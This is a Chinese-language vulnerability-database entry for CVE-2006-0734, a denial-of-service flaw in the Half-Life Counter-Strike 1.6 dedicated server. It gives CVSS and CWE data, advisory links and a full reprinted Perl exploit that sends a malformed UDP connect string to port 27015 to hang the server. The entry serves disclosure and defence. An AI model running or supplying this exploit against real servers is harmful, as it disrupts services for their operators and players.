CVE-2006-0734
CVSS4.0
发布时间 :2006-02-16 06:02:00
修订时间 :2008-09-05 17:00:04
NMCES    

[原文]The SV_CheckForDuplicateNames function in Valve Software Half-Life CSTRIKE Dedicated Server 1.6 and earlier allows remote authenticated users to cause a denial of service (infinite loop and daemon hang) via a backslash character at the end of a connection string to UDP port 27015.


[CNNVD]Valve Software Half-Life CSTRIKE Server远程拒绝服务漏洞(CNNVD-200602-234)

        Valve Software Half-Life CSTRIKE Dedicated Server 1.6及之前版本可使远程认证用户借助到UDP端口27015的连接字符串末尾的反斜杠字符造成拒绝服务(无限循环和守护程序挂起)。

- CVSS (基础分值)

CVSS分值: 4 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: SINGLE_INSTANCE [--]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/a:valve_software:half-life_cstrike_dedicated_server:1.6_linux
cpe:/a:valve_software:half-life_cstrike_dedicated_server:1.6_windows

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0734
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0734
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-234
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/33505
(UNKNOWN)  XF  halflife-svcheckforduplicatenames-dos(33505)
http://www.securityfocus.com/bid/16619
(UNKNOWN)  BID  16619
http://aluigi.altervista.org/adv/csdos.txt
(UNKNOWN)  MISC  http://aluigi.altervista.org/adv/csdos.txt

- 漏洞信息

Valve Software Half-Life CSTRIKE Server远程拒绝服务漏洞
中危 其他
2006-02-16 00:00:00 2007-04-18 00:00:00
远程  
        Valve Software Half-Life CSTRIKE Dedicated Server 1.6及之前版本可使远程认证用户借助到UDP端口27015的连接字符串末尾的反斜杠字符造成拒绝服务(无限循环和守护程序挂起)。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1483)

Half-Life CSTRIKE Server <= 1.6 (non steam) Denial of Service Exploit (EDBID:1483)
multiple dos
2006-02-11 Verified
0 Firestorm
N/A [点击下载]
#!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
        die "Could not create socket: $!\n" unless $sock;
        $cmd="\xff\xff\xff\xff";
        syswrite $sock, $cmd."getchallenge";

        sysread $sock,$b,65535;  print $b,"\n";
        @c=split(/ /,$b);

        $c2=$c[1];

        $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

# milw0rm.com [2006-02-11]
		

- 漏洞信息

Valve Software Half-Life CSTRIKE Server Remote Denial of Service Vulnerability
Failure to Handle Exceptional Conditions 16619
Yes No
2006-02-13 12:00:00 2007-12-18 08:05:00
Discovered by Firestorm.

- 受影响的程序版本

Valve Software CSTRIKE Dedicated Server 1.6 Windows
Valve Software CSTRIKE Dedicated Server 1.6 Linux

- 漏洞讨论

Valve Software Half-Life CSTRIKE Dedicated Server is reportedly prone to a remote denial-of-service vulnerability.

Half-Life CSTRIKE 1.6 Dedicated Server for Windows and Linux are prone to this vulnerability. Earlier versions may also be affected.

- 漏洞利用

The following exploit code is available:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

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